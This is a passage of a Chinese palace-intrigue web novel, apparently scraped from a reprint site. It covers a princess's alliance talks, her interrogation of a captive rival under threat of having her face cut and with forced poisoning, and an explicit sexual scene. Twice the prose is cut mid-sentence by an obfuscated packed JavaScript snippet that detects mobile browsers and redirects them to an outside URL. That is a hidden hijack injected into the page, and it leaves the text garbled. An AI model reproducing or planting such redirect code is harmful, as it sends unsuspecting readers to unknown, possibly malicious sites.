伊吾公主朝着霖州露出一个灿烂的笑,抓着他的手就道:“天色晚了,我们回去早些休息,明日就要启程回伊吾了!” 霖州不知道说什么才好,沉默着任由伊吾公主拉着离开。 公主府。 天色大亮的时候,慕馨宁被外头的声音吵醒。 “皇太女殿下,我们主子还在病中,尚未醒来,您还是先回去,等我们主子醒了,再过来吧?” “她不会要**吧,我这次来东陵,带了南岳不少神药,不行给她吃一粒试试吧?” “再不行,我这还有几个美男没上过手,不如送给她,多几个人照顾她的饮食起居,她也能好的快一些。” 慕馨宁想开口,忽然感觉口干舌燥,于是就咳嗽了两声。 杜若也顾不得什么,连忙进门查看慕馨宁的情况:“主子,您醒了,饿了吧,奴婢给您熬了粥。” “呦醒了,我说你怎么这么倒霉,男人背叛你也就算了,命还差点丢了。” 纳兰倾直接随着杜若进来,看着床上慕馨宁面无血色唇色惨白的模样,心里一阵唏嘘。 慕馨宁想起昨夜的事情,觉得有些没脸见人。 她闭上眼,没好气的道:“闭嘴吧,你少说两句,我还能多活两天。” 昨夜她有些醉酒,脑子也不大好用,那宫女一大着肚子出现在她面前,又提起他死去的未婚妻,她就受不住了。 说难听些,还是把晏骁寒看的太重,若是她置身事外,管晏骁寒在外头如何撒种,自己还能看个热闹。 只因为自己是局中人,被人抓住了软肋。 纳兰倾拍手的声音,拉回了慕馨宁的思绪,不知什么时候,她床前忽然多了好几个五官标志的男子。 “让他们好好伺候你,你准保好的快,没两天就生龙活虎的了!” 关键也能忘了晏骁寒,省的她一副半死不活的样子。 慕馨宁顿时觉得头疼不已,她别过脸去,不看那几人。。 “我谢谢你了,我不需要,你留着用吧。” 纳兰倾还有些不甘心,伸手扯了一个男子上前:“你瞧瞧他怎么样,这容貌,这身材,我跟你讲,昨夜你们那个太后,都瞧了他好几眼……” 纳兰倾这么一说,慕馨宁想起正事来,她连忙问:“伊吾使臣走了吗?” 杜若点头:“已经走了,天亮时伊吾公主驸马还有伊吾皇子,还来探望了您。” “我给他们准备的新婚贺礼,都送过去了吧?” 杜若:“昨晚耽搁了,今日他们来的时候直接给他们的。” 慕馨宁点头。 纳兰倾眼睛转了转,好像发现了什么,那个乐人,怎么摇身一变成了太尉的儿子,还成了伊吾公主的驸马? 听说,那个乐人之前还挺得阿宁看中的,这件事不会跟阿宁有关系吧? 难道阿宁玩儿够了,所以给那个乐人找了个好去处把人打发了? 纳兰倾很快收回思绪,对杜若道:“行了行了,你快下去给她弄点吃的,别饿坏了。” 纳兰倾见慕馨宁虚弱的样子,有些担忧,生怕她断气。 慕馨宁吃了饭,感觉自己这算是活了过来。 “你来东陵做什么?” 慕馨宁喝了口水,靠在床头,看着纳兰倾正在跟送给她的男子眉来眼去。 纳兰倾笑着道:“这不是想你了么,所以来看看你。” 慕馨宁翻白眼,是想她么,分明是在想东陵相貌俊美的男人。 “空手来的?”慕馨宁半点也不见外,要是纳兰倾敢空手来,她直接让人把纳兰倾轰出去算了。 纳兰倾瞪了慕馨宁一眼,没好气的对着门外道:“来人,抬进来。” 随即,一个硕大的铁皮箱子就抬到了慕馨宁面前。 铁皮箱子打开,看见里头的各种金银珠宝,慕馨宁有些怀疑自己的眼睛。 “给我的?” 南岳皇太女,果然是大手笔。 纳兰倾摇了两下折扇:“当然。” 慕馨宁心里美滋滋:“真是没白交你这个朋友。” 纳兰倾眼睛转了转,忽然一脸正色道:“如果你能帮我拿下那个首辅,这东西我再送你三箱。” 慕馨宁原本的好心情,瞬间就没了。 纳兰倾见她这样,不确定的问:“怎么,舍不得,你不会还想跟他再续前缘吧?” 要是她的男人,敢 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纳兰倾咬了一口果子,跟慕馨宁分析:“现在我只是皇太女,虽然已经掌了南岳一半大权,那也都能贸然出兵,一个不慎,老三揪住我的把柄,那还要跟她斗上一斗。” 一提起纳兰倾的三妹,慕馨宁面色微沉,上一世纳兰倾惨死,那个三公主可不就是罪魁祸首。 那三公主虽然野心不小,但是对付纳兰倾,只用了几个男人就完胜了。 慕馨宁一想到这个,真是不知道该跟纳兰倾生气,还是该同情她。 “虽然你说的有道理,但是我觉得还是可以借兵的。” 琉球使臣来跟永平帝借兵,可是永平帝并没有答应,因为东陵的情况,确实也不容乐观。 永平帝手里那点兵力,全部用来防着外头的藩王、太后、易王和信武侯。 所以没等宫里的送行宴,琉球使臣就已经先走了,这也是昨日慕馨宁才知晓的。 纳兰倾撇嘴:“琉球,不过是个芝麻大小的小国,犯得着跟他们来往?” 慕馨宁正色道:“你不知道,琉球盛产战马和珍珠,要是我们能得到足够的好处,帮他们一把也不是不可以。” 纳兰倾有些犹豫:“那,你又怎么确定我们肯定能拿到好处?” 第147章 捅了一刀 听说琉球现在的情况可不容乐观,周围的藩王和异族烧杀抢掠,没准琉球使臣一回去,就已经灭国了。 “我们尽快动手,大不了混乱中坐收渔利,好处肯定是不能少。” 慕馨宁打开抽屉,将早就准备好的条约给纳兰倾看了看,纳兰清原本还以为慕馨宁也就随口说说而已,没想到早就有了计划。 “若是按照你这个条件来,那我们确实能得到很多好处,但是,琉球会同意吗?” 慕馨宁的条约中,并没有向琉球要多少金银财宝,而是向琉球租了几个小岛,小岛上不但可以练兵,养马,还可以作为一个落脚点。 若是想要出海往西面经商,琉球的那几个小岛,可以用来落脚,等航线确定好,若是各国也想途径几地,他们还可以收不菲的过船费。 “他们应该不会拒绝的,只要能拿下那几个小岛,我们也可以再给他们一点好处。” 纳兰倾沉默着没说话,出海经商这件事,她也不是没想过,只是实施起来有些麻烦,有了慕馨宁这完整的计划,倒是可以试一试。 “那要出兵多少,太多可不行,老三肯定会趁虚而入。” 慕馨宁:“我出一万五,你出两万。” 纳兰倾看慕馨宁就跟看傻子一样:“你觉得,三万五千人,就能帮琉球平息战乱,做梦吧?” 琉球虽然是个小国,但是三万五千人都不够给敌人塞牙缝的吧? “咱们智取,还能跟他们硬碰硬?” 纳兰倾不觉得慕馨宁有什么脑子,还智取,没被人卖了还给人家数钱就不错了。 “行了,我出三万人马,剩下的事都由你安排。”纳兰倾感觉这有些太儿戏了,三万人马,就当她赚个呦呵。 两个人在一起商量了大半天的细节,等快中午的时候,慕馨宁才觉得累。 “就这样吧,我们两方人马在西梁边境汇合。” 慕馨宁一锤定音,就让人摆饭。 纳兰倾尝着厨房做的泡椒牛蛙、宫保兔肉、桃仁鸡丁、松鼠鳜鱼、麻辣龙虾和水煮肥牛简直是赞不绝口。 “我不回梧台了,就在你这里住几天,你不会不同意吧?” 慕馨宁点头:“你喜欢就好了。” 两个人不但是好友,也是盟友,纳兰倾住在公主府,那当然是可以的。 “但是,你那些个男人不要弄到我府上来,想办事,回梧台。” 她可不想公主府被弄得乌烟瘴气的。 纳兰倾看慕馨宁瞪大眼睛:“你是怎么说得出如此冷漠无情的话来的,我睡个男人,还要出去睡?” 慕馨宁:“你要是不乐意,你也不必住在我的公主府了。” 纳兰倾没法子,只能勉强答应了。 现在她发现,美食,好像比男人更重要。 慕馨宁自己吃完就回去睡午觉了,也没管纳兰倾。 她睡的正香的时候,耳边忽然传来杜若急切的声音:“主子,不好了,刚刚纳兰倾遇见回府的虞零落,已经让人把他拖到梧台去了!” 慕馨宁一听这话,有些头大。 “派两个人,把虞零落弄回来不就行了。” 杜若一脸无奈:“管家和杨嬷嬷都磨破了嘴皮子,那皇太女就是不放人,要是闹出什么事来……” 话没说完,刘营急匆匆的来了:“殿下,梧台那边传来消息,说虞家三公子把皇太女给捅了一刀。” 慕馨宁恼火的从床上坐起来,一个不小心,牵扯到了肩膀上的伤口。 她也不知道该气纳兰倾,还是该气虞零落,其他几国使臣好不容易送走了,想消停几天怎么都不行? “纳兰倾没事吧?”要是死在东陵,那该如何是好。 刘营挠头:“皮肉伤,不过她扬言,要扒了虞零落的皮。” 慕馨宁无奈的叹了口气,只能穿戴好带着伤往梧台赶。 刚上马车,外头忽然传来晏骁寒的声音:“去哪?” 慕馨宁本能的就想掀开车帘,一想到晏骁寒做的好事,瞬间收手,只想着离他越远越好。 没等车夫赶车走,马车一晃,一身黑衣的男人钻了进来。 慕馨宁一看见他就没好脸:“干什么,赶紧走,我不想看见你。” 晏骁寒就坐在慕馨宁身边,看着她略带苍白的脸,问道:“还在生气?” 慕馨宁将身子挪到一边,不去看他。 晏骁寒 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慕馨宁一巴掌狠狠地拍在晏骁寒的手背上,想要把人推开:“合着都是我的错,我就应该替那个大着肚子的宫女求你给她一个名分,然后欢天喜地的安排她进你的府门,上你的床?” 晏骁寒忍着手背上的疼,将人搂的更紧:“昨夜刺杀你的人,我已经让人拿下了,是信武侯夫人让人动的手。” 昨夜情况紧急,玄翎只想着救慕馨宁脱身,哪能腾出精力管其他的事情。 慕馨宁还以为这次就要吃哑巴亏了,没想到晏骁寒直接找出了幕后真凶。 她冷笑一声,信武侯府落魄至此,就应该夹紧尾巴老实一些,竟然还敢要她的命,那就别怪她不客气了。 慕馨宁只一心琢磨如何对付信武侯府,也没再理会晏骁寒。 等到了梧台,晏骁寒得知,慕馨宁带着伤来,是为了救虞零落,脸色逐渐阴沉。 慕馨宁看着床上惨叫的纳兰倾,也没给她好脸:“活该,自作自受。” 纳兰倾气的七窍生烟:“有你这么说话的吗,你知道我喜欢皮相好的,你就应该尽一尽地主之谊,把那个小子洗干净的送到我的床上!” 第148章 要杀要剐 “你滚,咱们两个绝交!”纳兰倾气冲冲的翻过身背对着慕馨宁,不小心牵扯到伤口,疼的她直咬牙。 慕馨宁看着地上被五花大绑的虞零落,还得耐着性子跟纳兰倾解释:“他父亲是我的人……” 话没说完,纳兰倾一脸震惊的从床上坐起来:“这么年轻滑嫩的你不要,你要他爹那个老帮菜,阿宁你什么时候口味这么重了?” 再说,阿宁睡他爹,她睡他爹的儿子又能如何? 慕馨宁气的,真想给纳兰倾一个巴掌:“我说的是,他爹现在在为我卖命,在边关还打了胜仗,我好歹也要给他爹一些面子……” 纳兰倾臭着脸打断:“我看上他,那是他祖坟冒青烟,他爹要是知道,没准还主动把他送给我,我拒绝都不行呢!” 慕馨宁无语了,见过自恋的,没见过这么自恋的,脸皮比她还厚。 “总之,人你不能动。”慕馨宁态度坚定。 纳兰倾眼珠子转了转:“你要是说,你瞧上他了,想睡他,我可以就这么算了,否则,今儿我非要扒了他的皮!” 别管这个小子是谁的儿子谁的孙子,反正她只给慕馨宁两条路,要是阿宁都不选,那她真要跟阿宁翻脸了! 慕馨宁看了虞零落一眼,长长的吸了口气,只能妥协道:“我确实瞧上他了行吧,我就是看他还没长开,就想着养两年再睡,行不行?” 她是在是没法子,她知道纳兰倾的脾气。 你跟她‘臭味相投’,什么都好说,你要是跟她装正经,她不把你踹到天边,就要把你拖下水‘同流合污’才行。 纳兰倾听了慕馨宁这话,瞬间心情就好了。 而一旁的虞零落,一脸震惊,半天也没回神。 他心中又有些不确定,长公主是真的这样想的,还是只是为了应付皇太女? 可是,若不是这样,长公主又为什么对他那么好? 纳兰倾听了慕馨宁这话,脸色当即就好了很多:“我就说么,这么俊俏的人你不睡,却又让他在公主府落脚,肯定不安好心。” 其实她也不是单纯的想睡虞零落,就是想着试探一下慕馨宁,没想到果然如此。 “首辅大人万安。” 纳兰倾的侍女端着熬好的汤药回来,就见晏骁寒脸色阴沉的站在门口,也不进门,也不离开。 慕馨宁身子一僵,一回头,只看见了晏骁寒的一片黑色衣角。 她顿时一个头两个大,这下完了。 纳兰倾幸灾乐祸,差点从床上跳起来。 晏骁寒那么俊美的男人,就算她弄不到手,阿宁也不行。 慕馨宁心情很是糟糕,随便找了个借口,带着虞零落就走了。 虞零落跟在慕馨宁身后,低着头,像个犯错的孩子:“长公主,对不起,我总是给您添麻烦。” 他只是听说慕馨宁受了伤,所以特意回公主府瞧瞧,没想到被纳兰倾纠缠。 他知道纳兰倾身份尊贵,怎么可能杀她,他只是想保留最后一丝骨气,自我了断,没想到一个不小心,伤了纳兰倾。 慕馨宁并没有生气,还安慰他:“纳兰倾除了好色,人也不坏,你别记恨她,赶明儿我让她多给你些赔礼。” 虞零落:“我不在乎那些身外之物。” 慕馨宁看他,有些欲言又止。 吃了那么多贫穷的苦,竟然还觉得钱是身外之物,真是不知道该说什么才好。 慕馨宁上了马车,没再见到晏骁寒的身影,心里有些失落,又有些不安。 “主子,首辅大人是不是生气了,您还是想个法子给首辅大人道个歉吧。” 杜若一脸担忧,毕竟首辅大人要是一气之下跟自家主子取消婚约,报复公主府,那她还得一根绳吊死。 慕馨宁揉了揉太阳穴:“过几日再说吧。” 之前她还端着架子不搭理晏骁寒,如今又要低声下气的讨好他,不就是做贼心虚? “殿下,人带回来了。”慕馨宁刚下马车,鹊羽一身黑色劲装,冷肃着一张脸上前禀报。 鹊羽跟鸦羽一样,原本都是先帝手里的羽林军,先帝驾崩之前,特意将唯一一支女子羽林军给了慕馨宁。 鸦羽看见鹊羽有些惊喜,平日里严肃的那张脸都柔和不少,毕竟两个人许久都没有见过面了。 慕馨宁直接去了公主府的地牢。 地牢里,宋菀菀被五花大绑的捆在铁架子上。 她拼命挣扎,嘴里骂着:“慕馨宁那个**在哪里,我可是未来的太孙妃,我已经联姻北赫,她竟然让人将我从半路上撸了回来,这要是被母后和皇兄知道,非 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“我,我又没害你,那宫女口口声声说怀了晏骁寒的孩子,我也只是想让她闹上一场,给你添点堵而已……” 一说到这里,宋菀菀心里一阵复杂,她之前想方设法抹黑慕馨宁,晏骁寒都是无动于衷,甚至对她有了杀意。 可是她一抹黑晏骁寒,慕馨宁顿时就失魂落魄魂不守舍,不等晚宴结束,就灰溜溜的出宫了。 只可惜,那些个刺客太没用,竟然还让慕馨宁活了下来,否则现在,慕馨宁的灵堂都搭好了。 “不用解释那么多,你的那点小计俩,我脚趾头都能猜到。” 宋菀菀竟然还装无辜,真是把她当傻子看了。 宋菀菀心里忽然有些慌:“反正我没对你下**,你也不能杀我,否则我做鬼也不会放过你的!” 慕馨宁笑出声来,没想到上一世无恶不作的宋菀菀,这个时候竟然也跟她讲起了道理。 “你这话说的,好像我对你好,你就能放过我一样。” 宋菀菀脸色一僵,心一横,也不打算跟慕馨宁再扯那些个无用的废话:“你到底想做什么,要杀要剐,痛快些!” 第149章 魔鬼 慕馨宁坐在一旁的圈椅上,抬头看她:“不要嘴硬,稍后你再跪下求本宫,多丢脸。” 戏还没演完,宋菀菀怎么能这么轻易的**。 宋菀菀脸红脖子粗。 她忽然察觉到了什么,就没了之前的恐惧,如果慕馨宁想要杀她,让人直接动手就是了,何必费这么大的力气把她抓回来? “你到底要做什么?” 把她从半路上撸回来,又把她这样绑在地牢,慕馨宁不杀她,难道还要跟她谈天说地不成? 慕馨宁喝了口茶,看着她脸上还在滴血的伤口,语气淡淡:“你应该知道,我母妃,是**的吧?” 宋菀菀咬唇,瞬间面无血色:“我……我不知道……” 慕馨宁皱眉:“你不说实话,那就别怪我不客气了。” 她给了鹊羽一个眼神,鹊羽提着一把铮亮的**贴在了宋菀菀的脸颊上:“听说,惠明公主最宝贝自己这张脸了,我要是毁了你这张脸,将你脸上的皮肉一片片的割下来,你说你能不能活着看见自己的骨头?” 宋菀菀吓得一个哆嗦,慕馨宁果然卑鄙。 “不用怕,就算你告诉了本宫,本宫也不会出卖你的。”慕馨宁放下手里的茶盏,翘着二郎腿,好整以暇的看着宋菀菀。 宋菀菀不停的吞口水,四肢都开始哆嗦,如果她告诉了慕馨宁真相,慕馨宁还会让她活着? “惠明公主可要想好了,只数十个数,你要是不交代,我就要动手了。” 鹊羽冷着脸,手里的**不停在宋菀菀脸上比划:“你说,我应该先割哪里呢?” “十……九……八……” 宋菀菀闭上眼,浑身都开始冒冷汗,她在权衡利弊。 可是再怎么权衡,也不如她眼下保住自己这张脸重要。 要是她真的被鸦羽割了面皮,那她还怎么见人,她岂不是生不如死? “三……二……一……” 数到一的时候,鹊羽手里的**一个漂亮的旋转,贴着宋菀菀的脸皮就要割下去。 宋菀菀吓得舌头都打结了:“不……不要……我说……” 冷哼一声,退到了慕馨宁身后。 慕馨宁目不转睛的盯着宋菀菀,眼里的冷意更甚。 “前些日子,姬神医入宫给母后瞧病那晚,我无意间听见了母后和芝嬷嬷的对话……” 宋菀菀吞了吞口水,看着慕馨宁冰冷的脸色,声音越来越小:“当年母后得知,先皇有意让皇兄继位,就安排了一场刺杀……” 本来太后本来是想杀了先皇,让自己的小儿子继位,只可惜关键时刻,敏妃替先皇挡了一箭。 太后恨先皇,更恨敏妃,于是让人在敏妃服用的汤药里下了**。 那**剂量不多,却可以渐渐折磨人的身体和心智。 最主要的,敏妃的身体逐渐起了很多疙瘩,那些个疙瘩还泛着恶臭,有一日先帝去看望她,没等走近,就被熏的头晕眼花。 敏妃想死,又不舍得死,因为她还有未长大的阿宁需要照顾。 偶然一次,她听说,只要用刀将身上的那些疙瘩剜下来,就能恢复,所以她忍着疼,亲自用**,将身上的疙瘩一颗颗剜下。 可是身上的疙瘩太多了,遍布全身,最后,敏妃因为失血过多惨死。 慕馨宁闭上眼,脑海里浮现出敏妃惨死的样子,心如刀绞。 让敏妃自割皮肉的恶毒法子,肯定就是太后想出来的,真是好歹毒的心! 可是她并没有掉一滴眼泪,她睁开眼,看着面前的宋菀菀:“给你两条路,要么成为本宫的棋子,要么,你现在就死。” 宋菀菀差点就疯了:“慕馨宁,你刚刚答应我,只要我交代了实情,就放过我的!” 慕馨宁看着宋菀菀,跟看傻子一样,她忍着嘴角的冷笑:“想让本宫说话算数,你也配?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781701|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋菀菀一脸怒火,挣扎着朝着慕馨宁扑了过来,可是她被捆的结结实实,连慕馨宁的头发都碰不到。 慕馨宁给了鸦羽一个眼神,鸦羽捏着宋菀菀的下巴就将一颗药丸送进了她的嘴里。 “啊……不……”宋菀菀再挣扎,可是那**入口即化,她无可奈何。 “啊……慕馨宁,你到底让我做什么……到底怎么样你才能放过我……”宋菀菀被解开绳索,狼狈的趴在地上。 慕馨宁抬手,鸦羽递给宋菀菀一个信封。 等宋菀菀将里头的内容看完,地牢里已经没有了慕馨宁的人影。 “魔鬼,慕馨宁,你就是个魔鬼!”宋菀菀朝着门口的方向,嘶声力竭的怒吼。 养了两日的伤,慕馨宁就开始制作日用品,香皂,洗发膏、面霜,牙粉。 因为纳兰倾受了伤,整日赖在床上看慕馨宁写的那些个画本子,也没来烦她,慕馨宁乐得清静,忙个起早贪黑。 杜若带着人帮着慕馨宁打下手,闲暇之余,她问道:“主子,书斋那边来问,您的那本黛玉殇什么时候出续本,大家都等不及了。” 慕馨宁想起来,那本书,还没写完。 “您写的那几本书,不但在京城卖的好,各国使臣也很喜欢,走的时候还告诉书斋的掌柜,您若是出了续本,定要快马加鞭的给他们送过去。” 慕馨宁擦了擦手,琢磨了一下,开口道:“那几日太忙了,若是有空闲,本宫应该跟他们谈谈合作,书斋来到各国的皇城,定能大赚一笔。” 一想到这里,慕馨宁激动起来:“各国使臣人多,走的也慢,我们现在谈谈合作也不是不可以。” 慕馨宁说着,执笔写了几封信,让刘营安排人快马加鞭的送到各国使臣手里,还不忘了给永平帝写道折子。 杜若在一旁絮絮叨叨:“最近也有不少人抄咱们的书拿去卖,价钱甚至还比咱们低一成,简直是太可恶了!” 第150章 那方面 慕馨宁沾了墨,开口询问:“难道也有人专门开了印刷作坊不成?” 杜若摇头:“那倒没有,听说他们的书都是自己用手写的。” 慕馨宁笑了笑:“若是手抄,一本书赚不了几个钱,定也是生活艰难,不然谁愿意用大把的时间去赚那几文钱。” 杜若有些不甘心,但又觉得慕馨宁说的有道理:“就当主子大发慈悲,给他们一条活路。” 慕馨宁的折子刚写好,正好永平帝那边来人了。 贵公公朝着慕馨宁行礼:“长公主,您之前向皇上讨要的乐人、歌姬、舞姬都给您送来了。” 慕馨宁打量那些个乐府来的人,有的高兴,有的满面阴云。 慕馨宁随手点了几个:“这些留下,剩下的带回去吧。” 贵公公听了诧异:“您不要了?” 慕馨宁:“本宫不愿意看他们的臭脸。” 那几个脸色难看不情愿出宫的人,顿时一脸尴尬。 “长公主这次的接风宴和送行宴办的极好,这是皇上特意给您的赏赐。” 贵公公拂尘一挥,下人端着东西上前。 慕馨宁只扫了一眼,眼里闪过一抹嫌弃。 没几件值钱的,连点破果子也算成了赏赐,看来之前永平帝答应给她的好处,估计也泡汤了。 “多谢皇兄。” 慕馨宁笑着,杜若递给贵公公一个荷包。 “那奴才就回去交差了。” 贵公公带着人走远,杜若盯着他的人影恨不得把他盯出一个窟窿。 上次贵公公给慕馨宁那本各国使臣的喜好,有大问题,幸好慕馨宁及时察觉,搞不好就惹了**烦。 但是现在慕馨宁腾不出手来收拾贵公公,贵公公毕竟是永平帝身边最信任的人,牵一发而动全身,想杀他,麻烦着呢。 杜若也只能生气的份儿。 慕馨宁没有把给永平帝写的折子直接交给贵公公,而是让刘营找了信任的人送了过去。 “奴婢给长公主请安,长公主千岁千岁千千岁!” 青茀带头,剩下几个宫里出来的人也恭恭敬敬的给慕馨宁行了礼, 慕馨宁挥退其他人,诧异的问青茀:“你怎么来了?” 她是打算要青茀,但是永平帝能这么轻易就放人? 青茀笑着起身:“狗……皇上说了,赏您那些个东西,您未必能瞧得上,他知道您想要奴婢出宫为您办差,所以就让奴婢跟着他们一道来了。” 慕馨宁倒是有了几分惊喜,她又诧异的问:“那你之前被人算计,说勾引晏骁寒那件事,就这么算了?” 青茀笑容更灿烂几分:“奴婢是奴婢,莲才人是莲才人,估计皇上大概也猜出当年是谁算计的奴婢,若是奴婢闹起来,脸上最难看的还是他。” 因为当年陷害莲才人和晏骁寒那个罪魁祸首,是宸妃。 虽然宸妃已死,但青茀想要旧事重提为自己洗清冤屈,永平帝依旧会颜面无光。 当然了,永平帝也可以灭她的口,他之所以没有动手,可能多少还有点良知吧? 慕馨宁嗤笑一声:“倒是不傻。” 不过听青茀一口一个奴婢的叫,慕馨宁有些好奇:“以前你好歹也混到了昭仪的位置吧,现在一口一个奴婢,以后还要给本宫办差,你能甘心?不想再得我皇兄的宠爱?” 青茀朝着慕馨宁又行了个大礼:“以前是奴婢蠢,竟然还想着和皇上白头偕老,如今这条命都是您给的,奴婢再犯糊涂,死不足惜。” 要是永平帝不放她出来,她都担心哪天她一个控制不住,再弑君。 饭桌上多了个人,以后有青茀帮忙打点内外,慕馨宁就轻松多了。 慕馨宁啃了一口排骨,凑到青茀跟前一本正经的问:“你以前跟我皇兄睡一起,他那方面怎么样?” “咳咳……咳咳咳……” 慕馨宁如此不知羞,青茀惊的直接噎到,饭粒子从鼻孔喷了出来。 慕馨宁递给她个帕子,还等着她的回答。 青茀有些脸红:“就……就那么回事吧……” 慕馨宁好奇:“你说我皇兄后宫那么多女人,他能睡得过来?” 也就是偶然有一次听懂药理的下人说,姬神医给永平帝开的药,有好一些是补肾壮阳的。 慕馨宁好奇,永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781702|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平帝不会年纪轻轻那方面就不行了吧? 青茀生怕慕馨宁再追问什么,连忙改了话题:“长公主您说要开个歌舞场,是真的吗?” 慕馨宁点头:“地方选好了,还得修整一下,你有空盯着点,宫里出来的其他人,暂时安排到庄子上,告诉他们,月银翻倍。” 青茀答应一声,吃了饭就去办了。 “殿下,信武侯府让人送了请柬,下月月初,崔惜颜要嫁进国公府。” 杨嬷嬷从外头进来,将一个大红色喜字烫金请帖递到了慕馨宁面前。 慕馨宁喝了口茶,打开看了一眼:“国公府不是见不上崔惜颜,怎么又这么快要迎她进府了?” 杨嬷嬷道:“老奴特意探了送信之人的口风,说是崔小姐好像怀了安国公世子的孩子,所以国公府才会急着把人纳进门。” 慕馨宁算了算:“不对吧,自打接风宴那一日,到现在,也就二十多天,还不到一个月吧,这就能把出喜脉了?” 杨嬷嬷意味深长的道:“大户人家,耍些手段达到某种目的,这很正常。” 慕馨宁点头:“安排人盯着信武侯府一些。” 毕竟前些日子,信武侯夫人命人刺杀她的那笔账,还没算。 杨嬷嬷犹豫了一下,问道:“那老奴要不要准备给崔小姐添妆的物件?” 一提起这件事,慕馨宁忽然想起,宋菀菀和亲头一日,崔惜颜送了她好多珍贵的添妆。 可是以信武侯府现在的情况来看,信武侯府应该是拿不出那么多好东西的,所以,那么多金银珠宝崔惜颜是从哪得来的? 难道,他们又榜上了什么大户? “面子上过得去就好。” 杨嬷嬷答应一声就走了。 晚上,慕馨宁在床上翻来覆去睡不着。 她身上的伤好的很快,也不痛了,但是最近很痒,抓心挠肝的那种痒。 她翻着翻着,面前忽然多了个人影,慕馨宁吓了一跳,伸手就去摸枕头下的**。 **没等摸出来,忽然觉得面前的人影有些熟悉。 她定睛一看,心头不由得一跳:“你怎么来了?” 第151章 销魂 男人脱了外衣坐在床边,语气中带着几分嘲弄:“怎么,担心我碍了你和虞零落的好事?” 一提起虞零落,他袖子里的大手紧握成拳。 那日的事情,这女人一句未向他解释也就算了,这么多天他不露面,这女人竟然也不想念他? 慕馨宁这才想起来还有个情债。 她抓着晏骁寒的大手,认真的道:“那日我只是想敷衍纳兰倾而已,我又不会真的看上虞零落。” “再说了,他也没你有本事,没你有文采,更没有你长得俊。” 此话一出,晏骁寒心头的怒气顿时就消散了大半。 看着那张人神共愤的俊脸,慕馨宁连忙往里挪了挪:“今晚别走,你就住我这里吧?” 晏骁寒不应声,捏着慕馨宁圆润的下巴,盯着她的脸看了许久。 四目相对,慕馨宁就开始心猿意马,她主动攀上晏骁寒的脖子,抬头就吻了上去。 晏骁寒身子一僵,大手直接伸进了慕馨宁的衣襟里。 不过片刻,慕馨宁的衣服就被扒的只剩下那么一层。 她想要的更多,刚要起身将男人推倒在床,晏骁寒的大手忽然按住她的肩膀:“我看看你的伤。” 慕馨宁神色微动:“已经好了,就是可能会落疤……你不会嫌弃吧……” 晏骁寒正色点头:“嗯,有些嫌弃。” 慕馨宁:“……那你走?” 晏骁寒起身,穿好外衣。 慕馨宁一脸惊愕:“你还真走?” 晏骁寒:“前些日子,南边发生水灾,本来赈灾事宜都已经处理妥当,昨夜有人冒死敲登闻鼓,这才得知赈灾银两被**,本官必须走一趟。。” 慕馨宁想起什么,上一世好像也是有人**了赈灾银,永平帝派了好几个人去调查,结果没有一个活着回来。 她不由得有些担心晏骁寒的安危,她搂住他的腰:“朝廷那么多人,为什么一定要你去,别人去不行?” “赈灾银丢了二十万两,别的官员去怕是会受阻,时间耽搁的越长,银子就越追不回来。”所以,他必须要走这么一遭。 慕馨宁还想劝劝,晏骁寒替她盖好被子:“顺利的话,不到一个月我就回来了,在这期间,你若是再敢和别的男人纠缠不清,别怪我对你不客气。” 慕馨宁扑到他身上,狠狠地吻了他的薄唇:“那你也一样,别人的水和酒甚至吃食你都不要掉以轻心,若是你失了身……我就再招十几个男宠进公主府。” 晏骁寒被气笑了:“我还以为,你要替我报仇。” 慕馨宁哼了一声:“没准是你自己愿意呢,报什么仇。” 晏骁寒刚穿好的外衣又脱了下来,掀开被子上了床:“要不然,你先满足我,免得我到时候饥不择食。” 左右时间还来得及。 慕馨宁顿时激动起来,当即对晏骁寒一阵上下其手。 可是最终,晏骁寒还是没有做最后一步。 对上慕馨宁幽怨的目光,晏骁寒略带玩味:“此去有些凶险,我要是死外面,你还能再找个……” 话没说完,慕馨宁就吻上了他的唇。 她知道,无论如何,晏骁寒也不会对她做那一步的。 但是她也不忍心让晏骁寒难受,毕竟二十好几的男人。 “我帮你……” 她将男人压在身下。 衣衫半解,房间里逐渐升温,男人粗重的呼吸和隐忍的闷哼声,起起伏伏。 她的唇,几乎吻遍他的全身。 晏骁寒多次想要把人推开,觉得这样很羞耻,可是又忍不住想要的更多。 那种入骨的销魂,让他放下了所有的廉耻,不知不觉,已经过了三次。 慕馨宁累的实在是没了力气,不知什么时候,趴在他的身上就睡了过去。 再醒来时,已经日上三竿,除了昨夜疯狂的痕迹,已经没了晏骁寒的人影。 床头的柜子上,放了一只锦盒,锦盒打开,里头安静的躺着一只白玉簪。 簪头的玉兰,含苞待放,花心处,似有一抹嫣红。 慕馨宁仔细瞧了半天,确定那么嫣红并非是玉簪上原有的。 忽然回想起他指尖似乎有结痂的伤口,慕馨宁有些喜悦,竟然是他亲自雕刻的么? 慕馨宁起身,亲自整理狼狈的床铺。“鸦羽,安排些人手,暗中保护他的安全。” 晏骁寒为官这么多年,也没少得罪人,就说最上头那个老女人,肯定不会错过晏骁寒离京的这次机会,定会想方设法对晏骁寒下毒手。 鸦羽欲言又止,首辅大人身份尊贵,为他效命的人数不胜数,哪里用得着自家主子的保 